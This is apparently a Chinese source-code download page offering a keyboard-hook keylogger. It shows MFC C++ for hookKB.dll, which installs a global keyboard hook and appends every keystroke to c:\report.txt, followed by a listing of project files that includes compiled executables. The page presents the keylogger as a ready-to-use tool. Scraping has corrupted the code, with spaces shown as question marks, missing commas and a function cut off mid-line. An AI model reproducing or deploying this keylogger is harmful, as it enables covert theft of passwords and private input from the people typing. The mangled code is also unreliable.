資源簡介
一個簡單的鍵盤鉤子程序記錄程序,可以記錄電腦中的鍵盤操作....

代碼片段和文件信息
//?hookKB.cpp?:?Defines?the?initialization?routines?for?the?DLL.
//
#include?“stdafx.h“
#include?“hookKB.h“
#ifdef?_DEBUG
#define?new?DEBUG_NEW
#undef?THIS_FILE
static?char?THIS_FILE[]?=?__FILE__;
#endif
//
// Note!
//
// If?this?DLL?is?dynamically?linked?against?the?MFC
// DLLs?any?functions?exported?from?this?DLL?which
// call?into?MFC?must?have?the?AFX_MANAGE_STATE?macro
// added?at?the?very?beginning?of?the?function.
//
// For?example:
//
// extern?“C“?BOOL?PASCAL?EXPORT?ExportedFunction()
// {
// AFX_MANAGE_STATE(AfxGetStaticModuleState());
// //?normal?function?body?here
// }
//
// It?is?very?important?that?this?macro?appear?in?each
// function?prior?to?any?calls?into?MFC.??This?means?that
// it?must?appear?as?the?first?statement?within?the?
// function?even?before?any?object?variable?declarations
// as?their?constructors?may?generate?calls?into?the?MFC
// DLL.
//
// Please?see?MFC?Technical?Notes?33?and?58?for?additional
// details.
//
/////////////////////////////////////////////////////////////////////////////
//?CHookKBApp
#pragma?data_seg(“.SHARDAT“)
static?HHOOK?hkb=NULL;
FILE?*f1;
#pragma?data_seg()
HINSTANCE?hins;
BEGIN_MESSAGE_MAP(CHookKBApp?CWinApp)
//{{AFX_MSG_MAP(CHookKBApp)
//?NOTE?-?the?ClassWizard?will?add?and?remove?mapping?macros?here.
//????DO?NOT?EDIT?what?you?see?in?these?blocks?of?generated?code!
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
//?CHookKBApp?construction
CHookKBApp::CHookKBApp()
{
//?TODO:?add?construction?code?here
//?Place?all?significant?initialization?in?InitInstance
}
/////////////////////////////////////////////////////////////////////////////
//?The?one?and?only?CHookKBApp?object
CHookKBApp?theApp;
?LRESULT?__declspec(dllexport)__stdcall?CALLBACK?KeyboardProc(int?nCodeWPARAM?wParamLPARAM?lParam)
?{
?char?ch;
?if((wParam==VK_SPACE)?||(wParam==VK_RETURN)?||(wParam>=0x2f)?&&(wParam<=0x100))
?{
?f1=fopen(“c:\\report.txt““a+“);
?if(wParam==VK_RETURN)
?{
?ch=‘\n‘;
?fwrite(&ch11f1);
?}
?else
?{
?BYTE?ks[256];
?GetKeyboardState(ks);
?WORD?w;
?UINT?scan;
?scan=0;
?ToAscii(wParamscanks&w0);
?ch=char(w);
?fwrite(&ch11f1);
?}
?fclose(f1);
?}
//將鍵盤消息傳遞給其他鉤子鏈上的程序
?LRESULT?RetVal=CallNextHookEx(hkbnCodewParamlParam);
?return?RetVal;
?}
?//安裝鍵盤鉤子
BOOL?__declspec(dllexport)__stdcall?installhook()
{
f1=fopen(“c:\\report.txt““w“);
fclose(f1);
hkb=SetWindowsHookEx(WH_KEYBOARD(HOOKPROC)KeyboardProchins0);
return?TRUE;
}
//卸載鍵盤鉤子
BOOL?__declspec(dllexport)?UnHook()
{
BOOL?unhooked=UnhookWindowsHookEx(hkb);
return?unhooked;
}
BOOL?CHookKBApp::InitInstance()?
{
//?TODO:?Add?your?specialized?code?here?and/or?call?the?base?class
AFX_MANAGE_STATE(AfxGetStaticModuleState());
hins=AfxGetInstanceHandle();
return?CWinApp::Ini
?屬性????????????大小?????日期????時間???名稱
-----------?---------??----------?-----??----
?????文件???????1145??2008-05-08?14:23??鍵盤鉤子程序\KBrecorder\KBrecorder.clw
?????文件???????3651??2008-05-08?14:13??鍵盤鉤子程序\KBrecorder\ReadMe.txt
?????文件???????1368??2008-05-08?14:13??鍵盤鉤子程序\KBrecorder\KBrecorder.h
?????文件???????2119??2008-05-08?14:13??鍵盤鉤子程序\KBrecorder\KBrecorder.cpp
?????文件???????1054??2008-05-08?14:13??鍵盤鉤子程序\KBrecorder\StdAfx.h
?????文件????????212??2008-05-08?14:13??鍵盤鉤子程序\KBrecorder\StdAfx.cpp
?????文件????????542??2008-05-08?14:13??鍵盤鉤子程序\KBrecorder\Resource.h
?????文件???????4231??2008-05-08?14:13??鍵盤鉤子程序\KBrecorder\KBrecorder.dsp
?????文件????????545??2008-05-08?14:13??鍵盤鉤子程序\KBrecorder\KBrecorder.dsw
?????文件??????41984??2008-05-08?14:23??鍵盤鉤子程序\KBrecorder\KBrecorder.ncb
?????文件??????35796??2008-05-08?14:15??鍵盤鉤子程序\KBrecorder\KBrecorder.aps
?????文件???????5362??2008-05-08?14:15??鍵盤鉤子程序\KBrecorder\KBrecorder.rc
?????文件???????1409??2008-05-08?14:15??鍵盤鉤子程序\KBrecorder\KBrecorderDlg.h
?????文件???????4514??2008-05-08?14:18??鍵盤鉤子程序\KBrecorder\KBrecorderDlg.cpp
?????文件???????1729??2008-05-08?14:22??鍵盤鉤子程序\KBrecorder\KBrecorder.plg
?????文件??????48640??2008-05-08?14:23??鍵盤鉤子程序\KBrecorder\KBrecorder.opt
?????文件??????20480??2008-05-08?14:22??鍵盤鉤子程序\KBrecorder\Release\KBrecorder.exe
?????文件????1327196??2008-05-08?14:11??鍵盤鉤子程序\KBrecorder\Release\hookKB.dll
?????文件?????106589??2008-05-08?14:18??鍵盤鉤子程序\KBrecorder\Debug\KBrecorder.exe
?????文件????1327196??2008-05-08?14:11??鍵盤鉤子程序\KBrecorder\Debug\hookKB.dll
?????文件????????402??2008-05-08?14:13??鍵盤鉤子程序\KBrecorder\res\KBrecorder.rc2
?????文件???????1078??2008-05-08?14:13??鍵盤鉤子程序\KBrecorder\res\KBrecorder.ico
?????文件????????361??2008-05-08?14:07??鍵盤鉤子程序\hookKB\hookKB.clw
?????文件???????2564??2008-05-08?13:33??鍵盤鉤子程序\hookKB\ReadMe.txt
?????文件???????1447??2008-05-08?13:33??鍵盤鉤子程序\hookKB\StdAfx.h
?????文件????????208??2008-05-08?13:33??鍵盤鉤子程序\hookKB\StdAfx.cpp
?????文件????????378??2008-05-08?13:33??鍵盤鉤子程序\hookKB\Resource.h
?????文件???????3065??2008-05-08?13:33??鍵盤鉤子程序\hookKB\hookKB.rc
?????文件???????4047??2008-05-08?13:33??鍵盤鉤子程序\hookKB\hookKB.dsp
?????文件????????537??2008-05-08?13:33??鍵盤鉤子程序\hookKB\hookKB.dsw
............此處省略21個文件信息
評論
共有 條評論